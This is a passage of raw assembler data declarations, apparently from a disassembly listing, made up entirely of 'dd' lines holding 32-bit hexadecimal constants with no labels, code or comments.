		dd 0D95891DBh, 841B7EB3h, 0D021FA76h, 0B8ED1Eh,	90D3F6Eh
		dd 7DAB4212h, 0D1A3870Bh, 836E020Ah, 6E84504Dh,	0CCC7100Bh
		dd 5510A08Dh, 0D57F2905h, 0FD1DA09Ah, 0DBC3E1A6h, 0D9F653h
		dd 61399E41h, 384CE635h, 9C411900h, 977C8DDDh, 8B670004h
		dd 9484065Ch, 21036F3Bh, 3F5317C0h, 0E2AEF8E3h,	9586000Eh
		dd 0F2E62E02h, 40077B98h, 8E84B53Bh, 96B11880h,	1864485Ch
		dd 247D5B0Ch, 0A7036808h, 0B10CBF72h, 0B840A062h, 0F0587CC0h
		dd 1010C202h, 6A075B5Eh, 0B9C31780h, 6CD300EFh,	9BEB7FF6h
		dd 0E1079E7Eh, 8454D7E2h, 495CB2F2h, 0BD46C3DCh, 44E10768h
		dd 4064D653h, 0C1198E73h, 763859C0h, 2929E110h,	8020A4D8h
		dd 0C1444CDEh, 0B828AE21h, 0D8140CB0h, 2060278Eh, 630F3A02h
		dd 40BB1618h, 3C00ABC1h, 0DA70AC6Eh, 0C4B43Fh, 0B5339A24h
		dd 0C3969711h, 0FBB65800h, 0AB1C7026h, 2785011Bh, 0AF0C3717h
		dd 34F0EC14h, 9895DA00h, 18572A29h, 5A0B001Eh, 78B20381h
		dd 0A7001720h, 8FEE9F3Eh, 0C0A17E80h, 733401A1h, 890013CFh
		dd 0F0E58B2Bh, 0C54FD83Fh, 40584321h, 0A31E82C4h, 801F32B2h
		dd 7C87DC64h, 2AC06121h, 3C5537FEh, 0A5BD83EEh,	0E2A22906h
		dd 8607F925h, 0E44879F5h, 935D1640h, 13B5F875h,	0BDE9452h
		dd 30806AD2h, 3067F609h, 0FE76600Ah, 3840E848h,	24D6550Ah
		dd 17AE257h, 0C6337C75h, 0F9DD0E1h, 0F9CDCB00h,	6D2C13E9h
		dd 0F75F0021h, 77BBC414h, 0D09B5BEh, 81DFFD27h,	8676540Fh
		dd 4A1BD8h, 0E7324EC0h,	0F1FD701Fh, 0E272381Fh,	8A95B906h
		dd 0D7932408h, 0A2940487h, 72CCC2E5h, 0D8FC8260h, 0CAAEC90Fh
		dd 0E9268CA3h, 3CA500B9h, 0F85F1489h, 18095933h, 80D22105h
		dd 7C7A0BBCh, 38377C64h, 0FC1758h, 0B3081FBBh, 0CAB61E35h
		dd 6DCC2901h, 92F29C2Ah, 8231298h, 0EC01FBFh, 0A66DD5EFh
		dd 371906D7h, 480CD051h, 0FF8D4A01h, 796492B5h,	0C61D50F0h
		dd 38C5FD18h, 0DB0C70E2h, 20261280h, 49104058h,	0FC8879D9h
		dd 6D08C818h, 0CFD29C2Eh, 0D0132138h, 91076D00h, 434F0B9Bh
		dd 61900EEh, 4569E09h, 0EB18B44Ah, 0BCF192CBh, 94488013h
		dd 84662F28h, 885C0800h, 30FF9DA5h, 0CDD431C6h,	793B20h
		dd 3DF435h, 0C25AB875h,	4A89DB31h, 29D71100h, 661F4602h
		dd 33EEE48h, 0AC0C1E90h, 0A2C980FCh, 9A8EC468h,	1B593800h
		dd 3C33C493h, 0CDC000C2h, 0ECAF5ACh, 6000964Dh,	6A718AD6h
		dd 50DB5044h, 45FD84Fh,	6D25CB54h, 3D080D9h, 70009B9Dh
		dd 29576260h, 7055CDA3h, 0A4F40010h, 6DE4658Dh,	0A278A918h
		dd 7500B6EAh, 0DC77FBADh, 0E05FC7h, 60719B9Fh, 0F33F64C8h
		dd 1C001078h, 0AA5E12F7h, 8B5AC2h, 69A5EF63h, 9A26F16Ah
		dd 5F4D3Fh, 0DB973788h,	0F963D67h, 0CD0F3976h, 74C3A87h
		dd 0B79D0018h, 1A0484F5h, 676AACF7h, 1DF9C0ABh,	0E00F7F80h
		dd 171D077h, 0E76F6B78h, 556DA6F0h, 0B9F2808Bh,	94EDB704h
		dd 16481080h, 0ACC48168h, 0BF03E4F8h, 89E6B583h, 0BDB7F0EBh
		dd 0EC02901Dh, 82723136h, 11E73128h, 0B9128812h, 89748A10h
		dd 0A0580865h, 881E1528h, 9897105h, 8E44F208h, 9B2284F1h
		dd 11FD426Eh, 0D218C19h, 90733E08h, 721F8421h, 814494Ah
		dd 0D5907CB0h, 4C73AF84h, 7E279E5h, 0D94FC392h,	0AE170F9h
		dd 5B1D1F95h, 2CC0F58Dh, 0BF3206FEh, 512A00EAh,	27667C3Ch
		dd 0D400A191h, 1C772274h, 0C59DFFh, 4FC4D340h, 0A8C2300Fh
		dd 0BEF7200h, 0BF47F065h, 17F02C9h, 36D8BC81h, 53F5E040h
		dd 0B899460Fh, 0DE2BE5D4h, 0E7A7D201h, 23D0243Eh, 5320000Dh
		dd 0E407F888h, 3F37C96Fh, 0A51048B7h, 8F58CCh, 0FB26F271h
		dd 8DD76410h, 18534805h, 0A700D4F8h, 0DF02F7BCh, 68FB0099h
		dd 1FBABB36h, 5A01E842h, 0BE76535Fh, 18204C3Eh,	419D00B9h
		dd 6ABB3E3h, 3F03FB80h,	6BD187AEh, 5A6E81Dh, 0D27109BBh
		dd 0F387AB59h, 0A58DC3A1h, 94161800h, 51A3E8E6h, 4A2030A0h
		dd 650C7831h, 84934807h, 9102A134h, 0F9504824h,	0C73526FDh
		dd 0DB0E0004h, 0F7B5A4Ah, 6BE641Ch, 1A303D00h, 0F944B3Eh
		dd 725F2892h, 7461F7A0h, 0B5388C0Fh, 0C93A0008h, 0A6481B35h
		dd 973C0701h, 70EA0C7Bh, 7353060Ah, 0BABE8000h,	0F9C4E856h
		dd 0A83500CBh, 7F95B039h, 1D00273Dh, 59130EBEh,	0DB103Ah
		dd 8E7A6F69h, 5277BAD2h, 0B093FC30h, 189AE9h, 40277698h
		dd 0CDF8C1C2h, 82B358h,	0A1BF93Bh, 0E1D8869h, 0E5097BE2h
		dd 2F5DD620h, 820020B8h, 6DAA40B4h, 1E7C43Bh, 0CC42CF94h
		dd 0C4F23690h, 28007DEFh, 0EB092F25h, 0FC5B0h, 0E871D6D1h
		dd 1274C4CAh, 6C338103h, 16B58BDFh, 0E87B0E19h,	112800F8h
		dd 0F21BC524h, 0B4E4ABA9h, 79571890h, 0A043E7B8h, 5363B041h
		dd 42E71FDCh, 177BC016h, 88A2FD64h, 0A2E80h, 0D3CB070Fh
		dd 0C2F287F1h, 211F4B07h, 2850A8C4h, 503CF80Eh,	441AE8CAh
		dd 68C5E22h, 16E82F12h,	200A877h, 672642A1h, 0A8B0D3h
		dd 355A8AF1h, 6F49DEAEh, 7FCB8312h, 80C3D800h, 24B6BCh
		dd 88B9B0A9h, 29FFBA87h, 5B50800h, 0D7D9815Eh, 0F7ED03A1h
		dd 52E34339h, 0DD2FF088h, 86EE8200h, 0A60E6CD4h, 0B60D1866h
		dd 3420A04Eh, 72FE8700h, 0E49DCD85h, 12530049h,	9ACED06Fh
		dd 0B700A5D1h, 99BDD5CCh, 7A5041h, 0DC4961Fh, 9C5546A3h
		dd 6C733Fh, 2B971760h, 94B3D0h,	3A285291h, 48392550h, 0A667E102h
		dd 8E561146h, 52BF00B8h, 774370h, 0B09924F1h, 3C6B2F81h
		dd 10098A6h, 12EED19Bh,	7BEC2Bh, 54AC8CC4h, 0B681A25Ah
		dd 1D60200h, 6CED1849h,	0A992000Bh, 314C885Eh, 2A009421h
		dd 2D450ADh, 16D1D779h,	3E82E11h, 4E6BD55Ah, 736180D0h
		dd 710B3907h, 44B0C847h, 83B011h, 4C49D893h, 982ABAC2h
		dd 0FD36F200h, 0ED04205Fh, 42211C51h, 0DF23001Ch, 0A62C67FCh
		dd 0C39CC760h, 52D1DBh,	4A181BFFh, 99228175h, 0F3D04F12h
		dd 8B0FE01h, 74E8AE7Bh,	4BE2009Eh, 52D2495Eh, 6C009A41h
		dd 0B51DC5B1h, 3A04ACC6h, 0E100A095h, 84A75177h, 0AA09528Eh
		dd 80565DE5h, 82BCC370h, 0E79500BEh, 0E41AB792h, 9A0054F9h
		dd 97F1E89Bh, 0D3D4Eh, 8469A17Dh, 1AB91F3Ch, 509548h, 0B7F8BAC9h
		dd 202E57h, 0AC982362h,	9B1673D3h, 0AAFB1800h, 42FAA7C8h
		dd 452700C4h, 0C7E3606h, 0B3A08258h, 8E0009E0h,	0B5466418h
		dd 90CE22ACh, 23925CE0h, 401B7C00h, 83787FD4h, 839D2639h
		dd 9BB9276Ch, 3D69D0E4h, 420C00D3h, 3FF6678Ah, 72484541h
		dd 23D40090h, 71EDD613h, 0B0080036h, 902DCDB8h,	0FA005D64h
		dd 0E8323D99h, 0EA1AB1F3h, 0C6093B9Dh, 0CCCE080h, 2B9EA328h
		dd 0E2D11100h, 0B5813DFh, 5C9BEA0Dh, 7C71CB31h,	6B080021h
		dd 7860A147h, 4CF03334h, 1A00EB75h, 5BE7D6A6h, 0FD8445h
		dd 56D8EDACh, 40E869D4h, 1979DA00h, 89506241h, 99EF007Eh
		dd 4CFF148Dh, 4F0F46E9h, 0E0862EB9h, 0C53C28B7h, 0F2D500EFh
		dd 0D3F4B17Ch, 2D0049DFh, 95167F7Eh, 6D3C19h, 0A3653AEFh
		dd 5D99E8E1h, 8097043Dh, 7AD96C0Dh, 0CA146FEh, 89F92C55h
		dd 4100D188h, 7516EA7Fh, 7484B0h, 0B8A880E1h, 0FB11D22Bh
		dd 2F0067ECh, 53276B19h, 415CEFh, 23EB4661h, 0FD02C006h
		dd 8049F607h, 0B6102081h, 0EF8CF5Ah, 67B7B088h,	8FD3B3A3h
		dd 9D115C00h, 230E8095h, 64F700BBh, 6C30EC5Fh, 0F000E167h
		dd 0C1321B7Ah, 0C727709h, 8A3D069Eh, 7F3E1FA8h,	37C99DE9h
		dd 0A32C3940h, 0B7CCDCEh, 10E458D3h, 0FBD13780h, 53013B56h
		dd 8390698Fh, 1D60E6F3h, 0A55E025Bh, 0B98AF071h, 0F8739361h
		dd 0A00EF49Dh, 40CD0793h, 0D8DBEDD9h, 28BB0501h, 37BA3C3h
		dd 80AC8388h, 0F49E0480h, 0A93BD400h, 18F9E817h, 14C607CCh
		dd 1E2C3E0h, 0C03293A1h, 7505C040h, 394E2699h, 0AED1A400h
		dd 80B983h, 5F123C7Ah, 8ABA44CEh, 78C19800h, 0AC4990E9h
		dd 0A9430034h, 0F3CEE6FFh, 0FE00D30Dh, 0CED5080h, 2482EC45h
		dd 20D287h, 97479C53h, 0A20038CCh, 0E3C242E0h, 17F86Ah
		dd 8C70BEC1h, 94784757h, 0F6C7F100h, 6EE52CF7h,	0B8A7007Ah
		dd 1C95CADDh, 73005E0Bh, 0C7F485E4h, 5894E8F3h,	590E0526h
		dd 0B6813749h, 408901D0h, 0BA8844E8h, 9C8B6101h, 6483D8B8h
		dd 4FAE9C50h, 93253AD7h, 5D737D80h, 86E5F4CBh, 0E6CF881Fh
		dd 536CA700h, 90C0FD99h, 0B5BF1FA8h, 29BEC13Bh,	5055B258h
		dd 7CC4B4B8h, 0CC46C800h, 0F326BD78h, 0DE33F82h, 86B4A87Bh
		dd 8918032Dh, 5725F662h, 0B2C80EB5h, 0E670D8A0h, 8B03D3A3h
		dd 738A38BFh, 9C79C872h, 0BAE0C0C2h, 944E06DBh,	0B4E0F228h
		dd 0A6FA58h, 0C489B76Eh, 5A7422h, 7FC65591h, 0E86324A6h
		dd 4D05931Dh, 0C854B440h, 0DE2838h, 6860A720h, 37D131B5h
		dd 4500A098h, 0C67964E3h, 7E20B61h, 8A83363Dh, 0D2F290EBh
		dd 911C0A66h, 82CC3B0Eh, 3C1EB812h, 3C80F604h, 0A48C42Ah
		dd 0B8A087B0h, 0D912367Fh, 0A840974Eh, 4CE65AD0h, 9C570037h
		dd 9BA7A31Dh, 3C007281h, 714F2B96h, 0B347FA2h, 0BF930413h
		dd 611C3C83h, 30920D8h,	0B9B61D0Fh, 0AC01D239h,	0BE5AB13Ah
		dd 0E889C843h, 9174F2h,	0EB664B8Eh, 0E5B3AC57h,	436038h
		dd 2FCE2F1h, 2EFA20D0h,	39062890h, 0F9356BEh, 0E1850011h
		dd 0E30B9A64h, 876EE000h, 4A60A340h, 3B9837h, 84EB2E7Bh
		dd 3F2BAE17h, 0DBDC571Dh, 0E96952C3h, 29719812h, 0E89D18D9h
		dd 7B33A08Bh, 0BAC5F538h, 381D802Bh, 826A02A7h,	0E03C001Fh
		dd 0D5E54AA4h, 47005307h, 94762357h, 0E3186Fh, 1267E011h
		dd 8EEC75A1h, 3F6EC51Ch, 0FC00F552h, 0B303979Ch, 0A46A0006h
		dd 0AE6C38B0h, 0B9EE7F88h, 0C500E77Fh, 0E81BC8EDh, 0A3792B3h
		dd 907A4DDAh, 5FCD01C4h, 0F7EDF2E3h, 62EFA800h,	37ECDCE9h
		dd 444D1308h, 63E1000Eh, 0D4A131F1h, 0F0040B0h,	0FE6BE8DBh
		dd 3F7AA459h, 0B4000DB9h, 0DCE46DBCh, 1207D328h, 933B899Dh
		dd 0AC2F4440h, 92B50007h, 70C44A27h, 0C8C0C89Ch, 0B19D57Eh
		dd 187A00DAh, 0FB6F8DE9h, 0AE008BA0h, 2B1B7166h, 0C096DBCEh
		dd 491E7FA0h, 5848A9E3h, 0C28A00BDh, 73DDEFADh,	70850038h
		dd 5CF3B9EEh, 727D9B36h, 0A300897Ah, 83FD0753h,	857DBBh
		dd 192B5011h, 0DCD1B2ABh, 72C0A4A0h, 0FDCF270Fh, 0D58EA0CAh
		dd 1149137h, 256A2AD4h,	60FB16E9h, 0C71649A8h, 0B335h
		dd 0BE22FFBAh, 0C98E004Bh, 5215B645h, 68586B2Ch, 96F11194h
		dd 904C0F7Fh, 97079409h, 38A089CBh, 22A103D6h, 450CCF4Ch
		dd 0C2B9FCB0h, 19EBE808h, 0EF7307AFh, 5420F024h, 7407B65Fh
		dd 45D9B0C5h, 0B5FE4900h, 5AF93EEFh, 0B73FCD00h, 798E9791h
		dd 0DF00477Fh, 7834A766h, 0F3D212h, 0FFDDAA37h,	628197DCh
		dd 9AC09F00h, 0C770DB18h, 955488Fh, 400BC113h, 9B34DD78h
		dd 0B000659Ch, 0E736D030h, 0C0397Eh, 0FF8A8BDh,	3B6D8AF1h
		dd 7C0BB52h, 2D0E64D9h,	1A9E94A0h, 1222EECBh, 9630597h
		dd 18830F30h, 40B4BBE6h, 600815CFh, 0F46E00F5h,	0CA87AA6Ch
		dd 0FD00463Dh, 0CDB1C77Fh, 121BE69Fh, 41EE08B6h, 0C4FC23FCh
		dd 0F66C306Ah, 33A9B4Ch, 35A62207h, 0A8409D31h,	70E5E1A2h
		dd 8DC90017h, 298AB2B1h, 0FA001F3Fh, 47788965h,	9A32818Bh
		dd 906E78C0h, 7775005Ch, 9EFD4EF3h, 83007B97h, 0A2DD3B87h
		dd 610441F4h, 290DD91Dh, 96CC4075h, 0A4009B55h,	81AD420Ah
		dd 2D1DDD3h, 0EF9454E4h, 400652h, 0E9E069F7h, 63EA7600h
		dd 0DCB3A67Bh, 649259CDh, 0D93CC330h, 0A201B217h, 267C9167h
		dd 56FCC4E3h, 5C3200B3h, 0EECF47C5h, 587F2E21h,	28F758h
		dd 78AD1DB9h, 269F7254h, 3C3576h, 6158E683h, 9D042BB5h
		dd 26BB4AA9h, 9AD580BFh, 0E7CD1BAh, 0FFD34109h,	1B5C02DEh
		dd 4C5F2097h, 9344E7B4h, 0E0FF88D8h, 0F2CA2300h, 0E786480Ch
		dd 0D6EC0076h, 4088FA67h, 590F38Bh, 0CF73E873h,	0AE17AB7Bh
		dd 74401D7Ch, 0FA53CC4Ah, 0BB5A3377h, 807CE128h, 0A4860E00h
		dd 4531A810h, 0E66B003Fh, 58FC70DAh, 0C03EB37h,	72DF9F1Ah
		dd 0C708B8F0h, 42CB85Eh, 0EAA84D06h, 0A06F04C9h, 8174E0D0h
		dd 0FE1502CCh, 7B851EDDh, 0D0FC4FC0h, 56131930h, 1FB393C5h
		dd 81A9372Bh, 0A28D63BEh, 6AC1F647h, 4A80D78Ah,	0A8C1ADB8h
		dd 0A27B34F8h, 44D2C74h, 0CE040AB2h, 49C743h, 3FF94C3Bh
		dd 8C1AE507h, 6850CDD0h, 2A599BBh, 0C8E4911Bh, 0B480BE04h
		dd 0ADCC269Bh, 0D8B18918h, 26EA93B8h, 81C8C651h, 0CE5BB682h
		dd 565C7417h, 0CFB053E4h, 0CD5C8703h, 0E8511E7Ch, 14C557h
		dd 9375F83Ah, 63B23442h, 7D436A3Ch, 0D346F0A0h,	0E8E76500h
		dd 0CCD82A85h, 6EA700E5h, 0F170A3A0h, 1277228Fh, 0AF61C00h
		dd 0D35B9DCh, 47F4984h,	47D45524h, 80D5440Bh, 5E4665ACh
		dd 0B037E50Eh, 78DAE049h, 7D6CB153h, 8D9C0071h,	68AFB705h
		dd 60009E19h, 9DA19862h, 3467083h, 10239590h, 7E813402h
		dd 592C20E6h, 330B2CF6h, 8086F4B9h, 0DCE714A4h,	3D2E036Ch
		dd 0BACB039Ch, 8F9A3E7h, 705E22E1h, 130FE2F6h, 0C0EB6206h
		dd 0D2AF6DA9h, 3307A2Eh, 0EA6558CBh, 0E6A05422h, 0AA06B5F9h
		dd 64A1331Bh, 67D0E110h, 7C092EBh, 0FF151FECh, 50015004h
		dd 457F2B72h, 0F30084B0h, 2176933Eh, 1B7AB54h, 8799A60Eh
		dd 0FC6E3A6Ch, 2000F5C0h, 0B85913CAh, 0E8A92F1Dh, 5DAE072Dh
		dd 0C1F8EFFAh, 20EA1C64h, 0BB5C77B9h, 0D7B04044h, 0DAB03800h
		dd 84E9AC48h, 661600BEh, 52936CF7h, 2800E63Ch, 40E2D280h
		dd 15C4B92h, 91A0FE83h,	344549D6h, 8501B01Ch, 40D80DE2h
		dd 5820AF20h, 331D2810h, 2E6B00C4h, 8981519Bh, 2B249EF2h
		dd 0A9802C36h, 134E4BA4h, 8EBE269Fh, 0E89B809Ch, 17B24C53h
		dd 0EA2D4300h, 0BC62A406h, 0C055005Eh, 920E5D42h, 4700BDA5h
		dd 76507BFBh, 3C1F32Eh,	8FB3294Ch, 16D8D135h, 7726C6BDh
		dd 9208E085h, 0D7C19295h, 5998E0DCh, 0FE7643E7h, 27464C00h
		dd 0A43BFA35h, 69230079h, 3D6CF5D1h, 0CB5CF47Eh, 180C005Ch
		dd 2277923Eh, 1A4B08Ah,	0D49CA8A5h, 0D4F3E055h,	3FF60EBDh
		dd 35C50813h, 0CB307107h, 0C8CF9232h, 9251A94h,	205B101h
		dd 20140800h, 8602387Dh, 0D2D022A8h, 0E9D080CBh, 0A89451Bh
		dd 0D42B6DEEh, 768105E8h, 0D95890F7h, 0BC3C43B3h, 407383B9h
		dd 0E8B2E03Eh, 1F685699h, 8049A325h, 3DCA123h, 8500AD0Bh
		dd 18D0F530h, 0EC188FBh, 0CFC00614h, 8400E14Eh,	0A8A9D26h
		dd 374A248h, 0C4197088h, 0ED110130h, 66CD1141h,	679440A5h
		dd 51017B8Bh, 0A22AA084h, 0D1C8410Ah, 9C250021h, 4896AD77h
		dd 0DD980BF8h, 0DD616907h, 29F0A0E4h, 5866F23Dh, 6F00E999h
		dd 0DBCAA184h, 0C6001477h, 969EB28Eh, 0AAEC3h, 0DF1535BBh
		dd 0A301F962h, 70B9F02h, 405C6D45h, 39EA88h, 0C5327ECh
		dd 51F2B94Eh, 3E88BF0Ah
		dd 900B016h, 7DB219FFh,	0E1D7E61Eh, 5CAD19A0h, 8200BF76h
		dd 12486479h, 8898683Fh, 0A09B0A27h, 50B1D828h,	63DF26B9h
		dd 3DF901F0h, 0FC518F98h, 90DCA2C9h, 0A63F8CC0h, 7097155h
		dd 42EF9DBh, 0AD3F01Ch,	3624B48Fh, 9D9340A9h, 0BF4D1090h
		dd 3FAA001Eh, 75DFE0C1h, 35721FE3h, 1A5B2601h, 0E9D6BA58h
		dd 778FEF4h, 0AE49AF6Eh, 0ACD2F032h, 80031C1h, 5BAD9FFFh
		dd 572D4Bh, 894438B1h, 35131FCCh, 0D4EDF0Fh, 6A59CE23h
		dd 9C00987Dh, 0F71F320Eh, 1410022h, 9A52CEBFh, 590793F5h
		dd 0C95A0FFh, 8078100Bh, 0D31E002Ah, 6522E15Ch,	0EB00A83Dh
		dd 0FD344EA2h, 0F478D9Dh, 265C6168h, 730B0DC0h,	3F008BBAh
		dd 0C70E8ADEh, 7FE1317h, 0E4D5057Bh, 2573A168h,	0D34C700Ah
		dd 46A58C00h, 97D7F659h, 496F008Ah, 0C6F0EF11h,	42005FA2h
		dd 0F5857576h, 5CE3F217h, 8E008A20h, 0A8D740AFh, 5407AA37h
		dd 7A957B92h, 0E1F6D9B2h, 1DD6D4Ch, 0B7740ECh, 53332A99h
		dd 0BC6F24A0h, 0DFE0B91Ah, 3F9243Eh, 18A5D6C2h,	3CBC876h
		dd 94B6016Fh, 0A9D8AD25h, 1C9C40FBh, 48262190h,	3841206Ah
		dd 0F0C7CA6Eh, 971C8EFh, 7324FCC5h, 6FD8D400h, 3D0403DAh
		dd 9FA9E8E2h, 5436A480h, 0F9D90379h, 0D58B99D0h, 47B0EE9Bh
		dd 63ADA9Ah, 29858131h,	0D7F809DFh, 0C38464h, 4E341437h
		dd 3A12F301h, 4B99EC3Dh, 0FC2C0580h, 679AFEC9h,	0F06FA8BCh
		dd 41656BE1h, 78A3C200h, 0EE5444D1h, 0E47F48EBh, 0F0D71B00h
		dd 670DF385h, 0B81C5C75h, 0E6002E46h, 0D42DCA37h, 0AB1D039Ch
		dd 6F0D6268h, 744A5800h, 527D85DBh, 608127CFh, 33132080h
		dd 0B100B308h, 18F542EAh, 4FEFA5Eh, 0D4ACAB65h,	0EEF0C037h
		dd 0F30BD682h, 122C9BAh, 0BF489947h, 7801F4h, 0CF08FF6h
		dd 5417D9B7h, 87F8CD60h, 0AB2388h, 14FFBC37h, 7D9767AFh
		dd 4C401C4Ah, 535B33B8h, 0DC4300F0h, 716E93CBh,	0F8002642h
		dd 74EEB9D4h, 5727741h,	0D0E166BFh, 605082CAh, 0E8A37361h
		dd 62EAF4A6h, 0D4039000h, 3ADF36DDh, 0C3F8E71Ah, 5124017Eh
		dd 3D108C8Ah, 1EC073A3h, 0F8C0E915h, 915EA73Eh,	4BE001Bh
		dd 17B40F01h, 0CF00512Bh, 6AD519F0h, 28F913C0h,	0A4C7A0h
		dd 20D7258Eh, 0FA0E430Dh, 18C6C531h, 96DC3499h,	0D15E07D5h
		dd 0B0B6E85Ch, 0AEC579B3h, 0D97C6003h, 0F831F216h, 9AA3B980h
		dd 2DD0031Ch, 0D87FE637h, 1EF95998h, 0B38E400h,	495E8B47h
		dd 28890CEh, 7FABAE06h,	0B160E82Dh, 943E7EBFh, 0FC758B9Bh
		dd 46FF0153h, 31E04841h, 3B920004h, 65E3CC0Bh, 0F10FEFE4h
		dd 801B0D47h, 0DEBC712Ch, 0C595009Ah, 828A177Fh, 0DA0342F4h
		dd 0F1F7E844h, 0ED8390FBh, 50C100BDh, 75C9F253h, 0A00F541h
		dd 77122133h, 0AE4E43h,	4A8F511Eh, 808A27F1h, 750E557Eh
		dd 0C352B865h, 0F88704D9h, 0B411E1h, 4FF1473Ch,	66AEC25Eh
		dd 17A6E900h, 2114673Dh, 0F74E00EAh, 0C96C104Dh, 0EFE4A15Dh
		dd 8600CBF4h, 1AF655DEh, 9C37D2h, 3D13E1D3h, 7796F28Ch
		dd 34C51803h, 0D78E6082h, 904D7133h, 66F96Eh, 595210BAh
		dd 772842B0h, 85E0AA00h, 96D2611Eh, 6C98CFh, 0E66D2279h
		dd 8E23E776h, 33D5DA03h, 878B9EBEh, 0AC07B2B0h,	6185E365h
		dd 1A7E7E0h, 0D92092ADh, 0D03ED16Dh, 0EE18117Fh, 0E1286964h
		dd 8AF21E87h, 78730060h, 7007BD83h, 0B3E8BCE8h,	0F42CE118h
		dd 0A0BB1121h, 60DDE31Ch, 92755890h, 0B7E4E93Dh, 0E224B201h
		dd 0C12D80C6h, 0BA990680h, 9C19A4BFh, 4F164161h, 0E870AAACh
		dd 3CA00FEEh, 0B1806188h, 62FB96B8h, 0CF07B000h, 24B536D9h
		dd 508D50E1h, 83080309h, 6306F3E2h, 0B00C8975h,	1158C3BFh
		dd 0B72800D9h, 0A4EA8FACh, 0D53AAB26h, 25E11490h, 57DB0064h
		dd 0E80DB683h, 3AC5F464h, 5280B554h, 98FEC9Ch, 6B0041ADh
		dd 0CE22C45Bh, 5FAA29h,	27ABD91Eh, 3C3F3EB7h, 60204C00h
		dd 7A12BE24h, 6B440332h, 0F5767F8Ch, 0EBC38BE0h, 0CC457900h
		dd 57DD3AB2h, 0E550007Dh, 0B858F8A7h, 0D4A08CC6h, 52379D42h
		dd 48AC129h, 3E98657h, 13001065h, 7E184EBBh, 0B4A434h
		dd 24325FDFh, 0B9BDCF72h, 0C4BC43Fh, 3A33F0E6h,	0EE750043h
		dd 0C2A3E7D7h, 1A035076h, 87A4864Ah, 0CFC688DEh, 98C50084h
		dd 575BF75Dh, 0EA00E8D3h, 0DD1A5CBEh, 3C78324h,	0D80EBC54h
		dd 45B0552Bh, 20022DCh,	1AB1659Ch, 1EA7097Dh, 4079CF44h
		dd 0C81FAB2Bh, 681C3881h, 29C925ACh, 9D5901ADh,	0CDDCAE10h
		dd 6ED0660h, 50516339h,	0C2902C00h, 0C13C940Eh,	67E20013h
		dd 7867493h, 6B0131CAh,	0F34DA7E3h, 0DDD13B58h,	2E50F4D8h
		dd 1920379h, 0BF194A0Bh, 0D3109F77h, 0D5E94E40h, 0FEF852Ah
		dd 0B0F48C4Ch, 0A26127CEh, 0C0987264h, 0AB003779h, 6B21241h
		dd 295A62Dh, 4E489D04h,	2AC03F14h, 4D3D63ACh, 3A1D3EE2h
		dd 900B944Ah, 9FAB00CCh, 73393EF7h, 3BF300E5h, 0F8687DF5h
		dd 8209B967h, 8323DF1Ch, 0C31D8D93h, 874B988Fh,	0BD9C07E5h
		dd 7047327Fh, 7DB624ACh, 9D206F01h, 8F3002C4h, 577FFC50h
		dd 3F0500D1h, 0E61DF94Fh, 0F40EA5CDh, 60B650DBh, 0A8897E1Ch
		dd 4B3500DAh, 476C4504h, 0FC00DD20h, 4E59227Ch,	7D8B50F0h
		dd 0DA50032h, 9120786Eh, 73001315h, 0FDAAE0F9h,	0EEC85DBBh
		dd 1BA000C3h, 0AC86E34Ch, 0BEFC4E92h, 740B2B90h, 305B2h
		dd 0B5726DF9h, 2BAE03F3h, 0A34C209Ch, 23CC5AC0h, 6DD30A00h
		dd 0BE95405Eh, 9CAA0E79h, 0C6BD1DDAh, 12FCCDB6h, 0E9746200h
		dd 69E1D6CAh, 34530045h, 21DFC09Eh, 0F500A488h,	72990F1Ch
		dd 0A916CEAh, 0F9298A16h, 9DDA808Ch, 4A3543E4h,	8D2BD90Fh
		dd 0D6A0A07Dh, 3D933Ch,	94AFEAD0h, 0E0AEBF50h, 2F15A400h
		dd 0E6845D3Ah, 307E42h,	0B3E946EEh, 57354BDCh, 7C4F4C02h
		dd 605AF837h, 4C6EA671h, 1C7D4AEEh, 452A4158h, 0C0228BCDh
		dd 0F9F6D2Ah, 771F570Bh, 0BCBB00C0h, 0BD3ADAh, 6C99DFD7h
		dd 635EC8D0h, 1DB63E00h, 39EE85BBh, 0E82F049Eh,	90380D4Bh
		dd 0FB6E67F0h, 0E9A733Ch, 580127Bh, 888D4E94h, 1CBE9011h
		dd 1B356CCh, 860B2C41h,	0CC199D17h, 0A11657BFh,	2C00F6B0h
		dd 66D0C9A3h, 9E9112C8h, 0EE90405Ah, 412070FEh,	0ADF7400h
		dd 0E4C053D6h, 87E324B5h, 81F50080h, 5A342EBh, 0D86F9B02h
		dd 48918F0Eh, 7730444h,	0A2E0F28Bh, 0B050908Dh,	57004824h
		dd 9F2D144Ah, 0BAD673h,	7F37632Ah, 5EFD92B5h, 0D005871h
		dd 809D69BCh, 0E736E3h,	0CA4A1121h, 1AE21E50h, 0B556B301h
		dd 0DCDDCB89h, 5DB2E0h,	0CD84519h, 0F7F55323h, 779E592Eh
		dd 25486C03h, 2906A11Ah, 2D1FF0h, 1BA92E8Eh, 0AEB9EBA4h
		dd 300E5976h, 0FF2F0A9Dh, 158EA680h, 4CEEB56Eh,	7684C1h
		dd 87EBEACCh, 0E2BE55DAh, 57463600h, 4A5BE90Eh,	0D6C100E8h
		dd 59536B19h, 3D3E6F67h, 1849851Fh, 0DC076114h,	406E0F04h
		dd 963007BBh, 2B350F94h, 0CE0CDA54h, 0CB0031B0h, 63B0292h
		dd 0A57004h, 0E29079B9h, 0C607058Ch, 3FCB6200h,	576D6CDCh
		dd 0B9200FFh, 0D7C8963Ch, 0AD3894C9h, 81B93B1Eh, 4D07C34h
		dd 72CC42CCh, 63BB015Dh, 0D198D61Ah, 28CB4089h,	8104C597h
		dd 4278881Dh, 4F25BC80h, 3818C327h, 32C8D99Dh, 13006AE8h
		dd 9FD3408Bh, 0BFFC491h, 0D8F1EC88h, 45966420h,	700902A0h
		dd 8121A252h, 0E90F35E0h, 153EE641h, 32C1030h, 942BDD45h
		dd 1000E1BFh, 36A4ACF1h
		dd 3F9BB27Fh, 3980CBFAh, 8F11D49Fh, 0C7131C89h,	0F8005390h
		dd 0BBF6D54Eh, 8492AAh,	0F2448262h, 40C00997h, 326E4D07h
		dd 85300648h, 0BDBECBAh, 145676Ah, 0F4D3C00h, 200AB8Fh
		dd 0A9C975AEh, 0C105Ah,	1988D779h, 5BD3F896h, 1E44B600h
		dd 0B2B0FA7Dh, 0F77F9h,	9B993501h, 2A5868ABh, 0CDCA9012h
		dd 97A31400h, 26ACD8h, 104D69A0h, 0DA476AD2h, 29F827F4h
		dd 68D86300h, 70B7D09Bh, 0ECD9F8C6h, 4DCA0974h,	7C0FAB31h
